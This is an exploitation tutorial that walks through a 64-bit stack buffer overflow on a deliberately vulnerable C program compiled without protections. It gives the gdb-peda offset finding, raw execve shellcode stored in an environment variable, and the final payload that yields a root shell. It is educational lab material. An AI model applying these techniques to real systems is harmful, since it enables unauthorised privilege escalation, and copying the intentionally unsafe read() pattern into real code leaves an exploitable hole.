Inhaltsverzeichnis

, , , , ,

Buffer overflow in the 64-bit stack - part 1

In this tutorial, we will create a buffer overflow on the 64-bit stack to gain root privileges.1)

Technical details on buffer overflows, stack etc. can be found here2)

Dependencies

Attention!

The techniques and methods in this article are for learning purposes only. Misuse is punishable!

What is needed?



gdb-peda Exploit Tools

gdb-peda extends the debugger GDB with helpful commands to exploit.3)

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit



Deactivate ASLR

ASLR must be deactivated so that memory areas are not randomised.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space



Programme

// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
 
#include <stdio.h>
#include <unistd.h>
 
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}
 
int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}



Compile

gcc -fno-stack-protector -z execstack bof.c -o bof



RIP Register

classDiagram note for Buffer "Overwrite Buffer" note for RBP "Overwrite RBP" note for RIP "place return address" Buffer --> RBP RBP --> RIP RIP --> 0x00007FFFFFFFC19F Buffer: AAAAAAAAAAAA RBP: BBBBBBBBBBBBBB RIP: 0x00007FFFFFFFFFC19F class 0x00007FFFFFFFC19F{ Shellcode() root shell }

Of interest to us is the register RIP. This contains a return address that points to another area in the code. We overwrite this return address with the buffer overflow. But first we have to find out how we can do this.

We start our programme in the debugger and generate a 200-character string:

gdb -q vulnerable
pattern_create 200 in.bin
r < in.bin
Offset Fuzzing



Calculate bytes

How many bytes must be transferred before RIP is overwritten?

pattern_offset A7AAMAAiA
Found at Offset 104



104 bytes must be transferred until the buffer overflows. We generate 104 characters and a canonical return address. To do this, we must use our pseudo address 0x414141414141 into canonical address format by appending 2 high bytes:

0x0000414141414141



We convert this into shellcode:

\x41\x41\x41\x41\x41\x41\x00\x00



In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilised for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.4)



Debugging

So let's debug again, with the parameters we have found out

python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin
gdb -q bof
r < in.bin



we have overwritten RIP with our pseudo address



Exploit

In the last step, we create a corresponding exploit to generate the root shell.

Place shellcode

The Shellcode5) is stored in an environment variable

export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`



Find variable in stack



GetEnvVar

// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
	char *ptr;
 
	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}



Compile

gcc getenvar.c -o getenvar



Execute

./getenvar PWN ./bof
The offset of the environment variable in the stack

The address of the environment variable is 0x7fffffffffef9eThis corresponds to the canonical address 0x00007fffffffffef9e'. Our shellcode would now correspond:

\x9e\xef\xff\xff\xff\x7f\x00\x00



Attack

First we set root rights to the vulnerable file and start it6)

sudo chown root bof
sudo chmod 4755 bof
./bof

Now we can execute the buffer overflow:

(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
root Shell!



Project files nosoc-repo-bof64.zip ZIP
Size 5.76 KB
Prüfsumme (SHA256) 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3